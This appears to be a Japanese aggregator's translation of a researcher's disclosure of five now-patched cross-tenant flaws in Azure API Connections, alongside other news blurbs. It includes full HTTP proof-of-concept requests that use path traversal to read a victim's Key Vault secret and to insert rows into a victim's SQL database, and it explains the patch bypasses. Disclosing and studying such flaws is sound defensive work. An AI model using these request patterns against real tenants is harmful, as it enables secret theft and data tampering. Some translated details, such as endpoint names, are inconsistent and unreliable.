Azure の最も脆い部分 ~5 つの全クロステナント侵害事例~

2026/10/30 19:06

Azure の最も脆い部分 ~5 つの全クロステナント侵害事例~

RSS: https://news.ycombinator.com/rss

要約▶

Japanese Translation:

最も重要な発見は、非認証ユーザーが分離されたテナント環境を完全に侵害することを可能にし、20 万ドルの賞金を受領させた、Azure API Connections の 5 つの深刻な権限昇降(Elevation-of-Privilege)脆弱性である。これらの欠陥により、

DynamicInvoke
や
/extensions/proxy/
などのエンドポイントを通じて、APIM インスタンスを騙して被害者トークンを使用させることで、Key Vaults、Azure SQL、Salesforce、Jira といった機密バックエンドサービスに対する横断テナント攻撃が可能となった。攻撃の実行は、SSH を介して Standard Logic App ホストから抽出された非公式な関数(
DynamicList
、
DynamicGet
、
DynamicPatch
、
DynamicDelete
)を含む REST API コールの操作に依存していた。重要なベクターとして、Consumption (Version 1) と Standard (Version 2) の Logic Apps 間の違いを利用し、
host.api.RuntimeUrl
パラメータを使用してリクエストを転送する方法が挙げられる。Microsoft は基盤となるコードをパッチ適用したが、URI ノーマライゼーションに関連するタイミング依存回避手法や、パス制限を試みた初期段階の回避により、是正処置が遅延した。完全な解決に至るまでの間、MSRC との間で重大な意見対立が発生していた。この事象は、厳密に監査されない限り、2018 年からの古い Azure Logic App コネクションバージョンが重大なセキュリティリスクとなることを示している。詳細については、著者のブログ投稿「Azure's Weakest Link?」および「Azure's Weakest Link - Full Cross-Tenant Compromise」、ならびに Blue Hat Asia 2026 で発表された内容にて記載されている。

本文

Azure API 接続の重大な脆弱性:攻撃経路とリスク分析

Azure Logic Apps の一部であるAPI 接続は、極めて不安定なアーキテクチャを有しており、これを利用したクロス・テナント・コンプロマイズ(他社テナントへの不正アクセス)やキー漏洩が発生する可能性があります。過去の調査と今回の新たな発見により、以下の深刻な問題点が浮き彫りとなりました。

  • 総額 20 万ドル相当の脆弱性を特定
  • Blue Hat Asia 2026 で講演内容を公開(録画動画リンク追加予定)
  • 世界中の任意の Azure サービスや外部接続サービスへの完全なアクセスが可能に

TL;DR:核心となるリスク

API 接続は、本来意図しない他テナントやバックエンドシステムを操作する機能が付与されています。具体的には以下のような被害が想定されます。

  • キーバウツ(Key Vault からの秘密鍵・パスキーの抜き取り)
  • Azure SQL データベースへの完全なアクセス
  • 外部サービス(Jira, Salesforce など)

攻撃を防ぐための入力検証層は存在しますが、すべてのエッジケースを網羅することは困難であり、回避経路が存在します。


アーキテクチャの脆弱性

仕組み

Logic Apps が Azure API Management (APIM) を介してバックエンドにアクセスする際の流れは以下の通りです。

  1. Logic Apps が共有 APIM インスタンスをクエリ。
  2. APIM がコネクタ定義(Swagger/OpenAPI)を確認し、アクションの有効性を検証。
  3. 鍵交換を行い、入力トークンをバックエンドで有効なトークンに置換。
  4. APIM が新しいトークンを用いてバックエンドに呼び出しを実行。

このプロセスから推測される重大なリスク:

  • APIM インスタンスを意図しない接続の操作に騙せる場合、犠牲者側で設定されたトークンを攻撃者に利用可能。
  • バックエンドサービスのリストは本質的に無制限であり、Azure 内の多様なサービスが含まれる。
  • アクセストークンのスコープ限定が稀に行われている:OAuth 接続では作成者のトークンが常時使用され、API キーについても最小権限化されていないケースが多い。

致命的な欠落:ARM REST API の直接呼び出し

Azure Resource Manager (ARM) を通じて APIM サービスに直接クエリを送るルートが存在します。

  • DynamicInvoke
    エンドポイント
  • /extensions/proxy/
    エンドポイント
  • ARM はリソース管理者として、基本的にすべてのリソースに対して完全なアクセス権を持っている。

これにより、攻撃者は自身の接続以外を操作し、バックエンドサービスの完全な制御を得ることが可能になります。


初期攻撃の実行

すでに報告済みのクロス・テナント攻撃(キーバウツ)の手法を簡潔に示します。

攻撃コード:パス・トラバーサルによる秘密鍵盗難

自身の接続の

DynamicInvoke
エンドポイントを用い、他テナントの Key Vault から機密データを抜き取る例です。

POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
    "request":{
        "method":"get",
        "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
    },
}

結果: HTTP 200 OK で秘密データが返却され、明らかなパス・トラバーサル脆弱性が確認されました。

結論: ARM から APIM へのリクエストは、操作対象に関わらずすべての接続に対して権限を持ちます。


さらに深い攻撃(初期パッチ回避)

脆弱性報告後一時的に修復されましたが、根本的なトークン制限ではなく「許可パスの制限」のみであったため、以下の経路で回避可能です。

未公開のエンドポイントの発見

ARM API の内部ロジックを解析(SSH や専用ホストでのコード抽出)した結果、以下のような非公開だがアクセス可能な関数が存在することが判明しました。

  • DynamicInvoke
    (既知)
  • DynamicList
  • DynamicDelete
  • DynamicWrite

これらは URI を変えるだけで呼び出せるため、修復が単純なブラックリスト化であった場合、すべてのエンドポイントで同様の脆弱性が存在しました。

SQL サーバーからのデータ書き込み攻撃例

DynamicList
関数を用いて、クロス・テナント環境下での SQL インジェクション(データ書き込み)を実行した例です。

POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json

{
    "dynamicInvocationDefinition": {
        "operationID": "nine",
        "parameters": {
            "one": { "value": ".." },
            "two": { "value": ".." },
            "three": { "value": "sql" },
            "four": { "value": "88d28f5ff7b642cfb91df184938d074c" },
            "five": { "value": "v2" },
            "six": { "value": "datasets" },
            "seven": { "value": "victimservice.database.windows.net,VictimDatabase" },
            "eigth": { "value": "query" },
            "nine": { "value": "sql" },
            "query": {
                "value": { "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)" }
            }
        },
        "ItemsPath": "ResultSets/Table1",
        "ItemValuePath": "secrets",
        "ItemTitlePath": "value"
    }
}

リスク: パス・トラバーサルにより、任意の SQL クエリを実行可能となります。Microsoft はこれらすべてのエンドポイントをブロックする修復を行いましたが、類似のエンドポイントが再発見された場合、再度脆弱化する可能性があります。


さらに深い攻撃(ロジック・アプリのバージョン差)

DynamicInvoke
系のパス制限突破ができなくなった場合、別のアプローチである「ロジック・アプリ自体の利用」が可能です。

コンシューマー版と標準版の違い

  • 消費型 Logic Apps: シェアードホストを使用し、バージョン 1 の API 接続を作成(明示的な管理識別子なし)。
  • 標準型 Logic Apps: 専用ホストを使用し、バージョン 2 の API 接続を作成(特定のロジック・アプリへの承認あり)。

消費型 Logic Apps は暗黙的にすべてのバージョン 1 接続にアクセス権を持ちますが、入力検証の欠落により制御されています。

攻撃手法:
host.api.RuntimeUrl
パラメータの悪用

GUI やコードビューを操作し、以下のように特定の URL を指定することで防御を回避できます。

  • 対象:
    host.api.RuntimeUrl
    パラメータ
  • 条件: ホスト名が
    azure-apihub.net
    以降である場合のみ有効。

攻撃の概要

  1. コードビューで入力を編集し、
    host.connection
    にある接続とは異なる
    runtimeUrl
    を指定。
  2. 認証ヘッダーを含めると、ランタイムは参照された接続ではなく、攻撃者が指定した URL を使用して呼び出しを行います。

効果: バージョン 1 の API 接続に対し、バージョン 2 用のリソースとして操作し、クロス・テナント攻撃を成功させます。


天上からの恵み(競合状態と修復の回避)

Microsoft よりも修复対応がなされ、ランタイム URL の厳密な検証が導入されました。しかし、以下の理由により再度脆弱化しました。

1. 正規化前の検証漏れ

  • Microsoft は、URL パスを比較する前にURI を正規化する前に検証を行っていたため、パスが少し異なる場合でも攻撃が可能でした。
  • ランタイム:
    A/B
    と判定
  • APIM インスタンス:
    C/D
    として解釈

2. 修復の逆効果(競合状態)

  • 修復処置により、元の
    RuntimeUrl
    パスに対する検証が完全に解除されるケースが発生。
  • これにより、攻撃者が容易に同じ攻撃を再度実行できるようになりました。

報告と報奨金

今回の調査で浮き彫りになったのは、API 接続における重大な権限昇格脆弱性 5 つです。

  • 修復状況: 提出後の合理的期間内に全脆弱性が修復済み。
  • プロセス: MSRC(Microsoft Security Response Center)との協議中に若干の意見相違ありましたが、最終的には納得いく結論に達しました。
  • 総括: API 接続アーキテクチャは重大なセキュリティリスクを内包しており、入力検証や URL 管理に対する見直しが急務です。

同じ日のほかのニュース

一覧に戻る →

2026/10/31 2:25

僕の一番好きなPower Macは、ニンテンドーWiiだ

## Japanese Translation: Rairii のゲスト投稿では、ArtX ベースの PowerPC システム(特にニンテンドーコンソールであるゲームキューブ、Wii、Wii U)への古典的な Mac OS バージョン 7.6 と 9.2.2 の成功したポート作業について詳述されている。同プロジェクトは 2025 年 6 月 22 日に開始され、AI の助力なしに完全に手動作業によるコーディング、リバースエンジニアリング、デバッグを通じて完了している。大きな突破点は、FAT ファイルシステムを備えた OpenBIOS を改修して Mac OS イメージをロードできるようにしたことであり、開発者は NT ARC ファームウェアローダーなどの既存のツールの再利用を行ったが、ドライバーは大幅に修正した:Elliott Nunn の virtio ベースのディスプレイドライバーの再利用、"SD Gecko"(SPI アダプター)および"EXI-IDE"(SPI エミュレーション)ディスクドライバーの実装、物理アドレス空間の前提条件と MMIO マッピングのエラーを修正する「Trampoline」へのパッチ適用などである。重要なカーネルパッチはマイクロコントローラー用のビットフラグの修正、Flipper および PCI アーキテクチャ間の中断コントローラの不整合への対処、レガシーモードの問題の解消といったハードウェア固有の課題に対応している。具体的なレガシーバグも修正された例として、「SuperMario」m68k 環境におけるシリアルポートコード内の無限ループがある。現在、SD を通じて SPI で実機上で Mac OS 7.6 は 40 秒以内に正常に起動するが、Mac OS 9.2.2 については不安定な Open Transport コンポーネントを除去しクラッシュを防ぐためにさらなる作業が必要である。

2026/10/30 16:09

Cursor マーケットの VS コード拡張機能「Claude Code」に後門が存在する

## Japanese Translation: 公式 Cursor マーケットPLACE で配布されている公式 Claude Code 拡張機能(バージョン 2.1.313)に重大な裏門(バックドア)が発見された。攻撃者は Windows、Linux、macOS のいずれの環境でもユーザーのマシンに対して永続的なアクセス権を取得できる。ベンダーが管理する配布チャネルに関する標準的な仮説とは異なり、この悪意のあるアップデートは SSH キーを埋め込み、逆回線トンネルを確立することで、インストール時に直接ユーザーの関与を必要とせずにもれなくシェルへの完全なアクセス権限を取得する。この脅威は macOS のセットアップスクリプトに含まれる特定の脆弱性を利用し、セキュリティチェックを迂回すると同時に、機微なシステムデータを攻撃者管理のサーバーにビーコン送信している。Cursor は以来、その登録から該当の侵害されたリリースを削除した。バージョン 2.1.313 を使用している組織は、直ちに環境を検査し、拡張機能をアンインストールし、埋め込まれた認証情報や実行中のトンネルプロセスを能動的に探してセキュリティを回復する必要がある。この事件は、堅牢なサプライチェーン監査の緊急性を示しており、正規の開発ツールが企業ネットワーク内におけるデータ窃取および lateral movement(横方向移動)の予期せぬベクトルとして機能し、ベンダー配布ソフトウェアへの信頼を損なう可能性があることを強調している。

2026/10/31 6:30

sanstun:Rust で実装された、sans-IO を採用した並列性に優れた WireGuard 実装

## Japanese Translation: Sanstun は、非推奨の `firezone/boringtun` フォークを代替する、WireGuard 状態機械の最適化された Rust 実装(IO なし)をリリースしました。この新しい設計は、並列処理に適した慣用 API を使用して I/O および副作用(時間と乱数を含む)をコアビジネスロジックから分離することで、使いやすさ、セキュリティ向上、パフォーマンスを優先しています。主な利点には、プロトコル不変性をマッピングする型を通じたコンパイル時安全性、`Instant` オブジェクトによる時間処理を通じた正確なシステムシミュレーション、Diffie-Hellman 鍵交換およびクッキー管理を通じた DoS 攻撃に対する内蔵防御が含まれます。API は明示的に記録業務(例:カプセル化の開始)と重い暗号化/復号化を分離することで同期ボトルネックを回避し、暗号処理をワーカースレッドにオフロードした場合のベンチマークでは 45 倍以上のスピードアップの可能性を示しています。ユーザーは現在、パケットを手動でバッファリングする必要があり、`Tunnel::initiate_handshake` を通じてハンドシェイクを開始する必要がありますが、この設計はプライベートハンドシェイクコンスストラクタ(`Interface::receive` のみアクセス可能)を介してコンパイル時にレート制限および正しいトンネルルートを強制します。このアプローチにより、以前のフォークで問題となった直感的ではないドレインや設定できないバッファサイズのなどの内部バッファリング問題は解消されます。Sanstun パターンは Rust に限定されず、様々なプログラミング言語での実装にも有益である可能性があります。Apache 2.0 ライセンスの下で crates.io で利用可能であり、非推奨の `firezone/boringtun` フォークから移行する過程で GitHub の issue および PR を通じて貢献を招集しています。

Azure の最も脆い部分 ~5 つの全クロステナント侵害事例~ | そっか~ニュース